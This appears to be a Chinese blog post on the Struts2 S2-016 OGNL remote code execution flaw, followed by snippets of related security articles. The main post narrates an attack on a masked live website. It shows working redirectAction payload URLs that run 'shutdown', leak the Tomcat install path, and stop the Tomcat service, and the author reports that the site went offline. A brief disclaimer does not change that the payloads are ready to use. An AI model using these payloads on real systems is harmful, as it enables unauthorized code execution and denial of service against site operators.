struts2漏洞攻击一例

怎样利用Struts2的漏洞(2.0.0<=version<=2.3.15)搞垮一个基于Struts2写的网站?

Struts是java web frameworks里面的鼻祖了,现在大量的web apps里面,从政府网站到金融系统,都有她的影子(大量的系统都是采用一种被用烂了的SSH(Struts+Spring+Hibernate)组合来做的)。甚至阿里/淘宝也有一些系统使用了Struts(阿里其实有更好更安全的webx框架的)。

最近被热议的一个高危安全漏洞:http://struts.apache.org/release/2.3.x/docs/s2-016.html,导致了黑产界的暗流涌动,掀起继CSDN被“脱裤”以来的又一波“脱裤”热潮。虽然我没怎么使用过struts(只用过struts1.1,那已经是7年以前的陈年旧事了),也忍不住关注了一下这个漏洞。这个漏洞的根源在于ognl,让注入远程恶意代码有隙可乘。那些还在用Struts2的java程序员们,赶紧补漏洞去吧,安全第一。

下面用一个简单的恶意攻击例子来说明一下这个漏洞的高危性:
1. 选Victim。怎么知道它是用struts做的呢?通常是500错误告诉我们的,一般随便去下载一个不存在的文件,那些粗制滥造的网站就报500了,错误信息栈暴露了它的OS信息(它会直接告诉我们D:/.../xxx.pdf不存在,那就肯定是Windows了),还有Apache的版本、Tomcat的版本,从错误信息还可以看出它使用的是SSH... (做web apps的同学们,一定要自己定制500页面啊,否则一不小心就暴露了。。。
2. 开始第一波攻击:
   http://www.**.com/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘shutdown‘,‘-s‘,‘-t‘,‘2‘})).start()}
   它返回的是http://www.**.com/struts2-showcase/employee/[email protected], 说明这个process成功启动了,2秒之后它的服务器就会被关掉。
   再去用Chrome访问http://www.**.com/,Chrome告诉我的是Oops! Google Chrome could not connect to www.**.com,证明服务器确实被我关掉了?
   不要高兴得太早,过了一两分钟发现它又回来了 -- 莫非它的服务器会自动重启的?
3. 开始第二波攻击:  
   既然关你服务器没用,那我直接干掉你的猫(管它猫有没有9条命)
   猜想它tomcat是配了windows服务的,如果真是这样,只要net stop xx就可以杀掉这只猫。那么这个xx是什么呢?这就需要知道tomcat的版本了。
   那么怎么知道tomcat的版本呢?我们可以一个一个去猜,到目前为止,tomcat最高版本也就7嘛,这个好猜。
   不想猜的话,那就让它自己来告诉我们:http://www.**.com/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.io.File(‘.‘)).getAbsolutePath().replaceAll(‘:‘,‘‘)}
   它返回的是 http://www.**.com/struts2-showcase/employee/D/program%20files/apache-tomcat-7.0.29/bin/..action
   说明这只猫在D:/program files/apache-tomcat-7.0.29/这里,版本是7.0.29,那么对应的服务名就应该是tomcat7了。
   出绝招:http://www.**.com/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘net‘,‘stop‘,‘tomcat7‘})).start()}
4. 这次这只猫真的死翘翘了,www.**.com再也打不开了。收工。

免责声明: 本文仅说明该漏洞的高危性,请不要用来干坏事。

时间: 2024-11-08 23:56:21

struts2漏洞攻击一例的相关文章

struts2漏洞攻击方法与解决方案

exploit-db网站在7月14日爆出了一个Struts2的远程执行任意代码的漏洞. 漏洞名称:Struts2/XWork < 2.2.0 Remote Command Execution Vulnerability 相关介绍: http://www.exploit-db.com/exploits/14360/ http://sebug.net/exploit/19954/ Struts2的核心是使用的webwork框架,处理 action时通过调用底层的getter/setter方法来处理h

(转载)ASP网站如何防止注入漏洞攻击

SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如 果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉.但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况.能不能根据具体情 况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据. 据统计,网站用ASP+Access或SQLServer的占70%以 上,PHP+MySQ占L20%,其他的不足10%.在本文,以SQL-SERVER+ASP例

Struts2漏洞之S2-016漏洞分析与exp编写

 1.概述 S2-016是13年7月爆出的,那时候的我还没涉及Web安全研究.这次迟到的分析也算是对过去的补充.这个漏洞影响了Struts 2.3.15.1之前的所有版本.问题主要出在对于特殊URL处理中,redirect与redirectAction后面跟上Ognl表达式会被服务器执行. 2.漏洞分析 分析开源框架的漏洞还是从其源码入手,问题出在了DefaultActiionMapper上,这个类主要是用来处理一些灵活的URL调用,比如处理Action中动态调用方法的形式,如: http:

IIS的Unicode漏洞攻击

IIS有十多种常见漏洞,但利用得最多的莫过于Unicode解析错误漏洞.微软IIS 4.0/5.0在Unicode字符解码的实现中存在一个安全漏洞,用户可以远程通过IIS执行任意命令.当IIS打开文件时,如果该文件名包含Unicode字符,它会对它进行解码.如果用户提供一些特殊的编码,将导致IIS错误地打开或者执行某些Web根目录以外的文件或程序.我们此文就着重来讲讲如何利用这个漏洞入侵IIS. 对于IIS 4.0/5.0中文版,当IIS在收到的URL请求的文件名中,包含一个特殊的编码例如“%c

struts2漏洞原理及解决办法

1.原理 Struts2的中心是运用的webwork结构,处置 action时号码大全经过调用底层的getter/setter办法来处置http的参数,它将每个http参数声明为一个ONGL(这里是ONGL的介绍)语句.当关键词挖掘工具咱们提交一个http参数: ?user.address.city=Bishkek&user['favoriteDrink']=kumys ONGL将它转换为: action.getUser().getAddress().setCity("Bishkek&q

今天晚上 中国互联网被Struts2漏洞血洗

Apache官方今天晚上发布安全公告(官方编号S2-032/CVE编号CVE-2016-3081),Apache Struts2服务在开启动态方法调用(DMI)的情况下,可以被远程执行任意命令,安全威胁程度高. 这一漏洞影响的软件版本为2.3.20-2.3.28,不过2.3.20.2.2.3.24.2两个版本除外,建议尽快升级到相应的最新版本,并关闭DMI. 这是自2012年Struts2命令执行漏洞大规模爆发之后,该服务时隔四年再次爆发大规模漏洞. 截止目前,乌云漏洞报告平台已收到100多家网

CCERT月报:Struts2漏洞已成高校网络安全顽疾(转)

Struts2漏洞已成高校网络安全顽疾 建议学校加大信息系统巡查力度 9月教育网运行正常,未发现影响严重的安全事件.近期安全形势较为严峻,学校要加大安全巡查的力度,对学校的信息系统进行排查,对于那些有严重安全隐患的信息系统必须及时采取技术措施进行防范,如果信息系统仅是对校内提供服务,建议采取校内限制访问的措施,来降低被攻击的风险. 近期新增严重漏洞评述: 1.微软9月的例行安全公告中修复了其多款产品存在的81个安全漏洞(严重等级的21个),涉及的产品包括,IE浏览器.Edge浏览器.Window

基于Armitage的MSF自动化漏洞攻击实践

基于Armitage的MSF自动化漏洞攻击实践 目录 实践环境 预备知识 Armitage基础配置 ms08_067_netapi:自动化漏洞溢出攻击实践 ms14_064_ole_code_execution:IE漏洞自动化攻击实践 ms17_010_eternalblue:"永恒之蓝"自动化攻击实践 office_ms17_11882:Office漏洞自动化攻击实践 John the Ripper_linux口令破解模块:Armitage下Auxiliary辅助模块应用 实践中遇到

从零学习安全测试,从XSS漏洞攻击和防御开始

WeTest 导读 本篇包含了XSS漏洞攻击及防御详细介绍,包括漏洞基础.XSS基础.编码基础.XSS Payload.XSS攻击防御. 第一部分:漏洞攻防基础知识   XSS属于漏洞攻防,我们要研究它就要了解这个领域的一些行话,这样才好沟通交流.同时我建立了一个简易的攻击模型用于XSS漏洞学习. 1. 漏洞术语 了解一些简单术语就好. VUL Vulnerability漏洞,指能对系统造成损坏或能借之攻击系统的Bug. POC Proof of Concept,漏洞证明:可以是可以证明漏洞存在